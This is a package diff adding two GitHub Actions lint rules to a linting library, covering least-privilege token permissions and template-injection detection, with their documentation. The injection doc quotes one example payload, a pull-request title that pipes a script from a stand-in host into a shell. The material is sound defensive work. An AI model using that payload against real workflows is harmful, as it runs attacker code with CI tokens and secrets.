-export { type AgentsDocPresenceOptions, type CanonicalHelpersSingleHomeOptions, type DockerfileBaseImageDigestPinOptions, type FileSizeRatchetOptions, type GithubActionsRunnerPinnedOptions, type GithubActionsShaPinnedOptions, type LayerRankOptions, type NoClonedComponentFoldersOptions, type NoWarnSeverityOptions, type PackageShapeOptions, RULE_FACTORIES, RULE_IDS, type SecurityScannerVersionParityOptions, type ServiceImageDigestPinOptions, type TestRunnerSegregationOptions, type TestSiblingEnforcementOptions, type TestWorkspaceEnrollmentOptions, type UiPrimitiveShapeOptions, type WorkspaceGraphParityOptions, countLines, createAgentsDocPresenceRule, createAllRules, createCanonicalHelpersSingleHomeRule, createDockerfileBaseImageDigestPinRule, createFileSizeRatchetRule, createGithubActionsRunnerPinnedRule, createGithubActionsShaPinnedRule, createLayerRankRule, createNoClonedComponentFoldersRule, createNoWarnSeverityRule, createPackageShapeRule, createSecurityScannerVersionParityRule, createServiceImageDigestPinRule, createTestRunnerSegregationRule, createTestSiblingEnforcementRule, createTestWorkspaceEnrollmentRule, createUiPrimitiveShapeRule, createWorkspaceGraphParityRule };
+export { type AgentsDocPresenceOptions, type CanonicalHelpersSingleHomeOptions, type DockerfileBaseImageDigestPinOptions, type FileSizeRatchetOptions, type GithubActionsLeastPrivilegePermissionsOptions, type GithubActionsNoTemplateInjectionOptions, type GithubActionsRunnerPinnedOptions, type GithubActionsShaPinnedOptions, type LayerRankOptions, type NoClonedComponentFoldersOptions, type NoWarnSeverityOptions, type PackageShapeOptions, RULE_FACTORIES, RULE_IDS, type SecurityScannerVersionParityOptions, type ServiceImageDigestPinOptions, type TestRunnerSegregationOptions, type TestSiblingEnforcementOptions, type TestWorkspaceEnrollmentOptions, type UiPrimitiveShapeOptions, type WorkspaceGraphParityOptions, countLines, createAgentsDocPresenceRule, createAllRules, createCanonicalHelpersSingleHomeRule, createDockerfileBaseImageDigestPinRule, createFileSizeRatchetRule, createGithubActionsLeastPrivilegePermissionsRule, createGithubActionsNoTemplateInjectionRule, createGithubActionsRunnerPinnedRule, createGithubActionsShaPinnedRule, createLayerRankRule, createNoClonedComponentFoldersRule, createNoWarnSeverityRule, createPackageShapeRule, createSecurityScannerVersionParityRule, createServiceImageDigestPinRule, createTestRunnerSegregationRule, createTestSiblingEnforcementRule, createTestWorkspaceEnrollmentRule, createUiPrimitiveShapeRule, createWorkspaceGraphParityRule };

package/dist/index.js

@@ -244,8 +244,293 @@ function createFileSizeRatchetRule(options = {}) {
   };
 }
 
+// src/rules/github-actions-least-privilege-permissions.ts
+var RULE_ID2 = "github-actions-least-privilege-permissions";
+var TOP_KEY = /^([\w-]+):\s*(.*)$/u;
+var SCOPE_ENTRY = /^\s*['"]?([\w-]+)['"]?:\s*['"]?([\w-]+)['"]?\s*$/u;
+function indentOf(line) {
+  return /^\s*/u.exec(line)?.[0].length ?? 0;
+}
+function isContent(line) {
+  const trimmed = line.trim();
+  return trimmed !== "" && !trimmed.startsWith("#");
+}
+function topLevelKeys(lines) {
+  const keys = [];
+  lines.forEach((line, index) => {
+    const match = TOP_KEY.exec(line);
+    if (match === null) return;
+    keys.push({ key: unquote(match[1] ?? ""), value: stripYamlComment(match[2] ?? "").trim(), index });
+  });
+  return keys;
+}
+function blockOf(lines, index) {
+  const block = [];
+  for (let j = index + 1; j < lines.length; j += 1) {
+    const line = lines[j] ?? "";
+    if (!isContent(line)) continue;
+    if (indentOf(line) === 0) break;
+    block.push({ text: stripYamlComment(line), index: j });
+  }
+  return block;
+}
+function scopeEntries(lines, permissions) {
+  if (permissions.value.startsWith("{")) {
+    return permissions.value.replace(/^\{|\}$/gu, "").split(",").map((pair) => SCOPE_ENTRY.exec(pair)).filter((match) => match !== null).map((match) => ({ scope: match[1] ?? "", level: match[2] ?? "", line: permissions.index + 1 }));
+  }
+  return blockOf(lines, permissions.index).flatMap(({ text, index }) => {
+    const match = SCOPE_ENTRY.exec(text);
+    return match === null ? [] : [{ scope: match[1] ?? "", level: match[2] ?? "", line: index + 1 }];
+  });
+}
+function jobsWithoutPermissions(lines, jobs) {
+  const block = blockOf(lines, jobs.index);
+  const jobColumn = indentOf(block[0]?.text ?? "");
+  const missing = [];
+  let current;
+  let keyColumn = -1;
+  const settle = () => {
+    if (current !== void 0 && !current.hasPermissions) missing.push(current.name);
+  };
+  for (const { text } of block) {
+    const column = indentOf(text);
+    if (column === jobColumn) {
+      settle();
+      current = { name: unquote(text.trim().replace(/:.*$/u, "")), hasPermissions: false };
+      keyColumn = -1;
+      continue;
+    }
+    if (current === void 0 || column < jobColumn) continue;
+    if (keyColumn === -1) keyColumn = column;
+    if (column === keyColumn && /^\s*permissions:/u.test(text)) current.hasPermissions = true;
+  }
+  settle();
+  return missing;
+}
+function checkWorkflowPermissions(file, text, allowTopLevelWrite = []) {
+  const lines = text.split("\n");
+  const keys = topLevelKeys(lines);
+  const permissions = keys.find((entry) => entry.key === "permissions");
+  const report = (line, message) => ({
+    file,
+    rule: RULE_ID2,
+    message: `line ${line}: ${message}`,
+    line
+  });
+  if (permissions === void 0) {
+    const jobs = keys.find((entry) => entry.key === "jobs");
+    const missing = jobs === void 0 ? [] : jobsWithoutPermissions(lines, jobs);
+    if (missing.length === 0) return [];
+    return [
+      report(
+        1,
+        `no top-level \`permissions:\`, so ${missing.map((job) => `\`${job}\``).join(", ")} ${missing.length === 1 ? "runs" : "run"} with the repository's default token, which can be read-write. Add \`permissions: { contents: read }\` at the top and grant writes on the job that needs them.`
+      )
+    ];
+  }
+  const shorthand = unquote(permissions.value);
+  if (shorthand === "write-all" || shorthand === "read-all") {
+    return [
+      report(
+        permissions.index + 1,
+        `top-level \`permissions: ${shorthand}\` grants every scope to every job. List only the scopes the workflow reads (for example \`contents: read\`) and grant writes on the job that needs them.`
+      )
+    ];
+  }
+  const allowed = new Set(allowTopLevelWrite);
+  return scopeEntries(lines, permissions).filter(({ scope, level }) => level === "write" && !allowed.has(scope)).map(
+    ({ scope, line }) => report(
+      line,
+      `top-level \`permissions\` grants \`${scope}: write\` to every job. Move it to the job that needs it and keep the top level read-only.`
+    )
+  );
+}
+function createGithubActionsLeastPrivilegePermissionsRule(options = {}) {
+  const workflowGlobs = options.workflowGlobs ?? DEFAULT_WORKFLOW_GLOBS;
+  const allowTopLevelWrite = options.allowTopLevelWrite ?? [];
+  const ciCritical = options.ciCritical ?? true;
+  return {
+    id: RULE_ID2,
+    category: "ci",
+    ciCritical,
+    description: "GitHub Actions workflows declare a read-only top-level `permissions:` (no `write-all`/`read-all`, no `<scope>: write`); writes go on the job that needs them.",
+    run(ctx) {
+      return globFiles((p) => ctx.glob(p), workflowGlobs).flatMap(
+        (file) => checkWorkflowPermissions(file, ctx.read(file) ?? "", allowTopLevelWrite)
+      );
+    }
+  };
+}
+
+// src/rules/github-actions-no-template-injection.ts
+var RULE_ID3 = "github-actions-no-template-injection";
+var DEFAULT_ACTION_GLOBS = anywhereGlobs(["action.yml", "action.yaml"]);
+var EVENT = String.raw`(?<![\w.])github\.event\.`;
+var ANY_ITEM = String.raw`(?:\.\*|\[\d+\])`;
+var TAINTED_CONTEXTS = [
+  new RegExp(String.raw`${EVENT}(?:issue|pull_request|discussion)\.(?:title|body)\b`, "u"),
+  new RegExp(String.raw`${EVENT}pull_request\.head\.(?:ref|label)\b`, "u"),
+  new RegExp(String.raw`${EVENT}(?:comment|review|review_comment)\.body\b`, "u"),
+  new RegExp(String.raw`${EVENT}pages${ANY_ITEM}\.page_name\b`, "u"),
+  new RegExp(String.raw`${EVENT}commits${ANY_ITEM}\.(?:message|author|committer)\b`, "u"),
+  new RegExp(String.raw`${EVENT}head_commit\.(?:message|author|committer)\b`, "u"),
+  new RegExp(String.raw`${EVENT}workflow_run\.head_branch\b`, "u"),
+  new RegExp(String.raw`${EVENT}workflow_run\.head_commit\.(?:message|author|committer)\b`, "u"),
+  /(?<![\w.])github\.head_ref\b/u
+];
+var INPUT_CONTEXT = /(?<![\w.])(?:github\.event\.)?inputs\.([\w-]+)/gu;
+var STEP_OUTPUT_CONTEXT = /(?<![\w.])steps\.[\w-]+\.outputs\.[\w-]+/u;
+var SAFE_INPUT_TYPES = /* @__PURE__ */ new Set(["boolean", "number", "choice"]);
+var EXPRESSION = /\$\{\{(.*?)\}\}/gu;
+var SCRIPT_KEY = /^(\s*)(-\s+)?(run|script):(?:\s+(.*))?$/u;
+var BLOCK_INDICATOR = /^[|>][-+0-9]*\s*(?:#.*)?$/u;
+var MAPPING_LINE = /^\s*[\w-]+:(?:\s|$)/u;
+var GITHUB_SCRIPT_USES = /^\s*(?:-\s+)?uses:\s*['"]?actions\/github-script@/u;
+function indentOf2(line) {
+  return /^\s*/u.exec(line)?.[0].length ?? 0;
+}
+function isContent2(line) {
+  const trimmed = line.trim();
+  return trimmed !== "" && !trimmed.startsWith("#");
+}
+function parentOf(lines, index, column) {
+  for (let j = index - 1; j >= 0; j -= 1) {
+    const line = lines[j] ?? "";
+    if (isContent2(line) && indentOf2(line) < column) return j;
+  }
+  return -1;
+}
+function isGithubScriptStep(lines, withIndex) {
+  const stepStart = parentOf(lines, withIndex, indentOf2(lines[withIndex] ?? ""));
+  const stepLine = lines[stepStart] ?? "";
+  if (!stepLine.trimStart().startsWith("-")) return false;
+  const dashColumn = indentOf2(stepLine);
+  for (let j = stepStart; j < lines.length; j += 1) {
+    const line = lines[j] ?? "";
+    if (j > stepStart && isContent2(line) && indentOf2(line) <= dashColumn) break;
+    if (GITHUB_SCRIPT_USES.test(line)) return true;
+  }
+  return false;
+}
+function safeInputNames(lines) {
+  const safe = /* @__PURE__ */ new Set();
+  lines.forEach((line, index) => {
+    if (!/^\s*inputs:\s*(?:#.*)?$/u.test(line)) return;
+    const column = indentOf2(line);
+    let nameColumn = -1;
+    let name = "";
+    for (const child of lines.slice(index + 1)) {
+      if (!isContent2(child)) continue;
+      const childColumn = indentOf2(child);
+      if (childColumn <= column) break;
+      if (nameColumn === -1) nameColumn = childColumn;
+      if (childColumn === nameColumn) {
+        name = /^\s*['"]?([\w-]+)['"]?:/u.exec(child)?.[1] ?? "";
+        continue;
+      }
+      const type = /^\s*type:\s*['"]?(\w+)/u.exec(stripYamlComment(child))?.[1];
+      if (type !== void 0 && SAFE_INPUT_TYPES.has(type) && name !== "") safe.add(name);
+    }
+  });
+  return safe;
+}
+function scriptLines(lines, index, keyColumn) {
+  const inline = SCRIPT_KEY.exec(lines[index] ?? "")?.[4] ?? "";
+  const block = BLOCK_INDICATOR.test(inline.trim());
+  const quoted = /^['"]/u.test(inline.trim());
+  const keep = (text) => block || quoted ? text : stripYamlComment(text);
+  const collected = block ? [] : [{ line: index + 1, text: keep(inline) }];
+  for (let j = index + 1; j < lines.length; j += 1) {
+    const line = lines[j] ?? "";
+    if (line.trim() !== "" && indentOf2(line) <= keyColumn) break;
+    collected.push({ line: j + 1, text: keep(line) });
+  }
+  const first = collected.find((entry) => entry.text.trim() !== "");
+  if (inline.trim() === "" && first !== void 0 && MAPPING_LINE.test(first.text)) return [];
+  return collected;
+}
+function taintedContexts(expression, checkInputs, checkStepOutputs, safeInputs) {
+  const found = [];
+  for (const pattern of TAINTED_CONTEXTS) {
+    const match = pattern.exec(expression);
+    if (match !== null) found.push(match[0]);
+  }
+  if (checkInputs) {
+    for (const match of expression.matchAll(INPUT_CONTEXT)) {
+      if (!safeInputs.has(match[1] ?? "")) found.push(match[0]);
+    }
+  }
+  if (checkStepOutputs) {
+    const match = STEP_OUTPUT_CONTEXT.exec(expression);
+    if (match !== null) found.push(match[0]);
+  }
+  return found;
+}
+function checkWorkflowTemplateInjection(file, text, options = {}) {
+  const checkInputs = options.checkInputs ?? true;
+  const checkStepOutputs = options.checkStepOutputs ?? false;
+  const lines = text.split("\n");
+  const safeInputs = checkInputs ? safeInputNames(lines) : /* @__PURE__ */ new Set();
+  const violations = [];
+  let skipThrough = -1;
+  lines.forEach((line, index) => {
+    const match = index > skipThrough ? SCRIPT_KEY.exec(line) : null;
+    if (match === null) return;
+    const keyColumn = (match[1]?.length ?? 0) + (match[2]?.length ?? 0);
+    const key = match[3] ?? "run";
+    if (key === "script") {
+      const parent = parentOf(lines, index, keyColumn);
+      if (!/^\s*with:\s*(?:#.*)?$/u.test(lines[parent] ?? "")) return;
+      if (!isGithubScriptStep(lines, parent)) return;
+    }
+    const where = key === "run" ? "`run:` script" : "`actions/github-script` `script:`";
+    const script = scriptLines(lines, index, keyColumn);
+    skipThrough = (script[script.length - 1]?.line ?? index + 1) - 1;
+    for (const entry of script) {
+      for (const expression of entry.text.matchAll(EXPRESSION)) {
+        const contexts = taintedContexts(
+          expression[1] ?? "",
+          checkInputs,
+          checkStepOutputs,
+          safeInputs
+        );
+        if (contexts.length === 0) continue;
+        violations.push({
+          file,
+          rule: RULE_ID3,
+          message: `line ${entry.line}: \`${expression[0]}\` expands attacker-controllable \`${contexts.join("`, `")}\` into a ${where}, where it runs as code. Pass it through \`env:\` (for example \`VALUE: ${expression[0]}\`) and read \`"$VALUE"\` instead.`,
+          line: entry.line
+        });
+      }
+    }
+  });
+  return violations;
+}
+function createGithubActionsNoTemplateInjectionRule(options = {}) {
+  const workflowGlobs = options.workflowGlobs ?? DEFAULT_WORKFLOW_GLOBS;
+  const actionGlobs = options.actionGlobs ?? DEFAULT_ACTION_GLOBS;
+  const skipDirs = options.skipDirs ?? DEFAULT_SKIP_DIRS;
+  const ciCritical = options.ciCritical ?? true;
+  return {
+    id: RULE_ID3,
+    category: "ci",
+    ciCritical,
+    description: "GitHub Actions `run:` and github-script bodies never expand attacker-controllable `${{ }}` context (issue/PR titles, comments, branch names); pass it through `env:` instead.",
+    run(ctx) {
+      const files = globFiles(
+        (p) => ctx.glob(p),
+        [...workflowGlobs, ...actionGlobs],
+        skipDirs
+      );
+      return files.flatMap(
+        (file) => checkWorkflowTemplateInjection(file, ctx.read(file) ?? "", options)
+      );
+    }
+  };
+}
+
 // src/rules/github-actions-runner-pinned.ts
-var RULE_ID2 = "github-actions-runner-pinned";
+var RULE_ID4 = "github-actions-runner-pinned";
 var RUNS_ON = /^(\s*)runs-on:\s*(.*)$/u;
 var DEFAULT_FLOATING_LABEL = /^[\w.-]+-latest$/u;
 function runnerLabels(lines, start, indent) {
@@ -277,7 +562,7 @@ function checkWorkflowRunnersPinned(file, text, floatingLabel = DEFAULT_FLOATING
       if (floatingLabel.test(label)) {
         violations.push({
           file,
-          rule: RULE_ID2,
+          rule: RULE_ID4,
           message: `line ${index + 1}: \`runs-on\` uses the floating runner label "${label}". Pin a named image (for example \`ubuntu-24.04\`) so a runner image change is a reviewed diff.`,
           line: index + 1
         });
@@ -291,7 +576,7 @@ function createGithubActionsRunnerPinnedRule(options = {}) {
   const floatingLabel = options.floatingLabel ?? DEFAULT_FLOATING_LABEL;
   const ciCritical = options.ciCritical ?? true;
   return {
-    id: RULE_ID2,
+    id: RULE_ID4,
     category: "ci",
     ciCritical,
     description: "GitHub Actions jobs must run on a pinned runner image (for example ubuntu-24.04), never a *-latest label.",
@@ -304,7 +589,7 @@ function createGithubActionsRunnerPinnedRule(options = {}) {
 }
 
 // src/rules/github-actions-sha-pinned.ts
-var RULE_ID3 = "github-actions-sha-pinned";
+var RULE_ID5 = "github-actions-sha-pinned";
 var USES_LINE = /^\s*(?:-\s+)?uses:\s*['"]?([^\s'"#]+)['"]?\s*(#.*)?$/u;
 var FULL_SHA = /^[0-9a-f]{40}$/u;
 var DOCKER_DIGEST = /@sha256:[0-9a-f]{64}$/u;
@@ -319,7 +604,7 @@ function checkWorkflowActionsPinned(file, text) {
     }
     const where = `line ${index + 1}`;
     const report = (message) => {
-      violations.push({ file, rule: RULE_ID3, message, line: index + 1 });
+      violations.push({ file, rule: RULE_ID5, message, line: index + 1 });
     };
     if (ref.startsWith("docker://")) {
       if (!DOCKER_DIGEST.test(ref)) {
@@ -347,7 +632,7 @@ function createGithubActionsShaPinnedRule(options = {}) {
   const workflowGlobs = options.workflowGlobs ?? DEFAULT_WORKFLOW_GLOBS;
   const ciCritical = options.ciCritical ?? true;
   return {
-    id: RULE_ID3,
+    id: RULE_ID5,
     category: "ci",
     ciCritical,
     description: "GitHub Actions `uses:` refs must be pinned to a 40-character commit SHA with a `# vN` comment (local ./ actions exempt).",
@@ -572,7 +857,7 @@ function createPackageShapeRule(options = {}) {
 }
 
 // src/rules/security-scanner-version-parity.ts
-var RULE_ID4 = "security-scanner-version-parity";
+var RULE_ID6 = "security-scanner-version-parity";
 function createSecurityScannerVersionParityRule(options = {}) {
   const scanner = options.scanner ?? "gitleaks";
   const versionVariable = options.versionVariable ?? "GITLEAKS_VERSION";
@@ -597,7 +882,7 @@ function createSecurityScannerVersionParityRule(options = {}) {
   const runtimeCheck = new RegExp(`\\b${name}\\s+version\\b`, "u");
   const mentionsScanner = new RegExp(name, "iu");
   return {
-    id: RULE_ID4,
+    id: RULE_ID6,
     category: "ci",
     ciCritical,
     description: `The ${scanner} version pinned in the workflows must equal the one in ${hookFile}, and the hook must compare a native ${scanner} against it at run time.`,
@@ -616,7 +901,7 @@ function createSecurityScannerVersionParityRule(options = {}) {
       }
       const violations = [];
       const report = (file, message) => {
-        violations.push({ file, rule: RULE_ID4, message });
+        violations.push({ file, rule: RULE_ID6, message });
       };
       if (ciVersions.size > 1) {
         report(
@@ -669,7 +954,7 @@ function createSecurityScannerVersionParityRule(options = {}) {
 }
 
 // src/rules/service-image-digest-pin.ts
-var RULE_ID5 = "service-image-digest-pin";
+var RULE_ID7 = "service-image-digest-pin";
 var DIGEST2 = /@sha256:[0-9a-f]{64}$/u;
 var KEY_LINE = /^(\s*)(?:-\s+)?([\w-]+):\s*(.*)$/u;
 var DEFAULT_COMPOSE_GLOBS = anywhereGlobs(
@@ -677,7 +962,7 @@ var DEFAULT_COMPOSE_GLOBS = anywhereGlobs(
     (stem) => ["", ".*", "-*"].flatMap((infix) => ["yml", "yaml"].map((ext) => `${stem}${infix}.${ext}`))
   )
 );
-function indentOf(line) {
+function indentOf3(line) {
   return /^\s*/u.exec(line)?.[0].length ?? 0;
 }
 function workflowImages(text) {
@@ -729,7 +1014,7 @@ function composeImages(text) {
     if (line.trim() === "" || line.trimStart().startsWith("#")) {
       continue;
     }
-    const indent = indentOf(line);
+    const indent = indentOf3(line);
     if (indent === 0) {
       break;
     }
@@ -763,7 +1048,7 @@ function violationsFor(file, images, allowUnpinned) {
     const reference = image.split("@")[0];
     return {
       file,
-      rule: RULE_ID5,
+      rule: RULE_ID7,
       message: `line ${line}: image "${image}" is not pinned by digest. Write \`${reference}@sha256:<digest>\` (resolve it with \`docker buildx imagetools inspect ${reference}\`) so CI and local runs use the same bytes.`,
       line
     };
@@ -776,7 +1061,7 @@ function createServiceImageDigestPinRule(options = {}) {
   const allowUnpinned = new Set(options.allowUnpinned ?? []);
   const ciCritical = options.ciCritical ?? true;
   return {
-    id: RULE_ID5,
+    id: RULE_ID7,
     category: "ci",
     ciCritical,
     description: "Workflow service and container images, and docker-compose images, must be pinned by `@sha256:` digest (a service that builds locally is exempt).",
@@ -1061,6 +1346,8 @@ var RULE_FACTORIES = {
   "canonical-helpers-single-home": createCanonicalHelpersSingleHomeRule,
   "dockerfile-base-image-digest-pin": createDockerfileBaseImageDigestPinRule,
   "file-size-ratchet": createFileSizeRatchetRule,
+  "github-actions-least-privilege-permissions": createGithubActionsLeastPrivilegePermissionsRule,
+  "github-actions-no-template-injection": createGithubActionsNoTemplateInjectionRule,
   "github-actions-runner-pinned": createGithubActionsRunnerPinnedRule,
   "github-actions-sha-pinned": createGithubActionsShaPinnedRule,
   "layer-rank": createLayerRankRule,
@@ -1088,6 +1375,8 @@ export {
   createCanonicalHelpersSingleHomeRule,
   createDockerfileBaseImageDigestPinRule,
   createFileSizeRatchetRule,
+  createGithubActionsLeastPrivilegePermissionsRule,
+  createGithubActionsNoTemplateInjectionRule,
   createGithubActionsRunnerPinnedRule,
   createGithubActionsShaPinnedRule,
   createLayerRankRule,

package/docs/rules/github-actions-least-privilege-permissions.md

@@ -0,0 +1,71 @@
+# `github-actions-least-privilege-permissions`
+
+> A workflow's top-level `permissions:` exists, is not `write-all` / `read-all`, and grants no write.
+
+## Why
+
+The top-level `permissions:` is the `GITHUB_TOKEN` every job gets unless the job says otherwise. A
+write there hands every job, and every third-party action any job runs, the power to push commits,
+cut releases or edit issues. Leaving the block out is worse: the token then falls back to the
+repository's default, which is read-write on many repositories and organisations. A compromised
+action or an injected script can only do what the token allows, so the smallest token is the
+cheapest containment there is.
+
+Keep the top level read-only and grant each write on the job that needs it.
+
+## What it flags
+
+- A workflow with no top-level `permissions:`, naming each job that has no job-level
+  `permissions:` either and so runs on the default token. Reported on line 1.
+- `permissions: write-all` and `permissions: read-all` at the top level: every scope, including
+  ones the workflow never uses.
+- Every `<scope>: write` in the top-level block (block or flow mapping), one violation per scope, on
+  its own line, unless the scope is in `allowTopLevelWrite`.
+
+```yaml
+# Bad
+permissions: write-all
+
+permissions:
+  contents: write
+  id-token: write
+
+# Good
+permissions:
+  contents: read
+jobs:
+  release:
+    permissions:
+      contents: write
+      id-token: write
+```
+
+## What it leaves alone
+
+- A workflow with no top-level block when every job declares its own `permissions:`: the default
+  token then reaches no job.
+- `permissions: {}`, and any scope at `read` or `none`.
+- Writes on a job, a `permissions:` input under a step's `with:`, and a commented-out line.
+
+## Factory
+
+```ts
+createGithubActionsLeastPrivilegePermissionsRule(options?: GithubActionsLeastPrivilegePermissionsOptions): IMetaRule
+```
+
+| Option | Type | Default | Meaning |
+| --- | --- | --- | --- |
+| `workflowGlobs` | `string[]` | `['.github/workflows/*.yml', '.github/workflows/*.yaml']` | Workflow files to scan. |
+| `allowTopLevelWrite` | `string[]` | `[]` | Scopes allowed at `write` in the top-level block, for a repo that accepts, say, `contents: write` on a single-job release workflow. |
+| `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
+
+## Limits
+
+Line-based text, not a YAML parse. It checks the top level only; a job that grants itself more than
+it uses is not judged. A reusable workflow (`on: workflow_call`) is held to the same bar, although
+its token can never exceed its caller's.
+
+Prior art: zizmor's [`excessive-permissions`](https://docs.zizmor.sh/audits/#excessive-permissions)
+audit and the OpenSSF Scorecard
+[Token-Permissions](https://github.com/ossf/scorecard/blob/main/docs/checks.md#token-permissions)
+check.

package/docs/rules/github-actions-no-template-injection.md

@@ -0,0 +1,93 @@
+# `github-actions-no-template-injection`
+
+> `run:` scripts and `actions/github-script` bodies never expand attacker-controllable `${{ }}` context.
+
+## Why
+
+GitHub substitutes `${{ }}` into a `run:` script before the shell sees it. A PR titled
+`"; curl https://evil.example/x.sh | sh #` turns `echo "${{ github.event.pull_request.title }}"`
+into a command that runs with the job's `GITHUB_TOKEN` and secrets. On `pull_request_target`,
+`issue_comment` or `workflow_run` that token often has write access, and anyone who can open an
+issue can supply the text. The same holds for the `script:` of `actions/github-script`, which is
+JavaScript built from the substituted text.
+
+The fix is to pass the value through `env:` and read it as a variable. An environment variable is
+data; the shell never parses its contents as script.
+
+## What it flags
+
+A `${{ }}` expression inside a `run:` value (inline, a `|` / `>` block, or a multi-line plain
+scalar) or inside the `script:` input of an `actions/github-script` step, when it names one of:
+
+- `github.event.issue.title` / `.body`, `github.event.pull_request.title` / `.body`,
+  `github.event.discussion.title` / `.body`
+- `github.event.pull_request.head.ref` / `.head.label`, `github.head_ref`,
+  `github.event.workflow_run.head_branch`
+- `github.event.comment.body`, `github.event.review.body`, `github.event.review_comment.body`
+- `github.event.pages.*.page_name`
+- `github.event.commits.*.message` / `.author` / `.committer`, the same under
+  `github.event.head_commit` and `github.event.workflow_run.head_commit`
+- `inputs.<name>` and `github.event.inputs.<name>` (option `checkInputs`, on by default), except an
+  input the same file declares as `type: boolean`, `number` or `choice`
+- `steps.<id>.outputs.<name>` (option `checkStepOutputs`, off by default)
+
+Workflow files and composite actions (`action.yml` / `action.yaml` at any depth) are scanned. A
+shell comment inside a block is still read: GitHub expands expressions there too. Each violation
+carries the 1-indexed line.
+
+```yaml
+# Bad
+- run: echo "${{ github.event.pull_request.title }}"
+- uses: actions/github-script@<sha> # v7
+  with:
+    script: console.log(`${{ github.event.issue.body }}`)
+
+# Good
+- env:
+    TITLE: ${{ github.event.pull_request.title }}
+  run: echo "$TITLE"
+- uses: actions/github-script@<sha> # v7
+  env:
+    BODY: ${{ github.event.issue.body }}
+  with:
+    script: console.log(process.env.BODY)
+```
+
+## What it leaves alone
+
+- The same expression under `env:`, `with:` (other than a github-script `script:`), `if:`,
+  `name:` or `defaults.run`. Those are not parsed as script.
+- Contexts nobody outside the repo controls: `github.sha`, `github.ref_name`,
+  `github.event.pull_request.number`, `github.event.pull_request.head.sha`, `matrix.*`,
+  `secrets.*`, `needs.*`, and `steps.*.outputs.*` unless `checkStepOutputs` is on.
+- A `script:` input of any action other than `actions/github-script`.
+- A YAML comment (`# run: ...`) and the trailing ` # ...` of a plain inline `run:`, which YAML
+  strips before GitHub sees the value.
+- Paths with a `node_modules`, `.git`, `dist`, `.turbo` or `coverage` segment.
+
+## Factory
+
+```ts
+createGithubActionsNoTemplateInjectionRule(options?: GithubActionsNoTemplateInjectionOptions): IMetaRule
+```
+
+| Option | Type | Default | Meaning |
+| --- | --- | --- | --- |
+| `workflowGlobs` | `string[]` | `['.github/workflows/*.yml', '.github/workflows/*.yaml']` | Workflow files to scan. |
+| `actionGlobs` | `string[]` | `action.yml` / `action.yaml` at any depth | Composite action metadata to scan. |
+| `skipDirs` | `string[]` | `['node_modules', '.git', 'dist', '.turbo', 'coverage']` | An action path with any of these segments is skipped. |
+| `checkInputs` | `boolean` | `true` | Treat `inputs.*` as attacker-controlled. A reusable workflow or composite action cannot know what its caller passes. |
+| `checkStepOutputs` | `boolean` | `false` | Treat `steps.*.outputs.*` as attacker-controlled. Turn it on when steps echo event text into outputs. |
+| `ciCritical` | `boolean` | `true` | Whether a violation fails CI. |
+
+## Limits
+
+Line-based text, not a YAML parse. An expression split across lines, the bracket form
+(`github.event['issue']['title']`), `toJSON(github.event)` and a value laundered through `env.*`
+set from event text are not seen. An expression that only tests a tainted field
+(`${{ contains(github.event.issue.title, 'x') }}`) evaluates to a boolean but is still reported;
+move the test to `if:` or into the script.
+
+Prior art: zizmor's [`template-injection`](https://docs.zizmor.sh/audits/#template-injection) audit
+and GitHub's
+[security hardening guide](https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions#understanding-the-risk-of-script-injections).

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@noctcore/lint-meta-rules",
-  "version": "0.4.1",
+  "version": "0.5.0",
   "description": "Portable, parameterized lint-meta rules — whole-repo / cross-file invariants ESLint cannot reach — for the @noctcore/harness lint-meta runner.",
   "license": "MIT",
   "type": "module",
@@ -61,8 +61,8 @@
     "test": "bun test"
   },
   "dependencies": {
-    "@noctcore/eslint-plugin-contracts": "^0.6.0",
-    "@noctcore/eslint-plugin-prisma": "^0.3.1",
+    "@noctcore/eslint-plugin-contracts": "^0.7.0",
+    "@noctcore/eslint-plugin-prisma": "^0.5.0",
     "@noctcore/harness": "^0.3.0",
     "@typescript-eslint/utils": "^8.61.1"
   },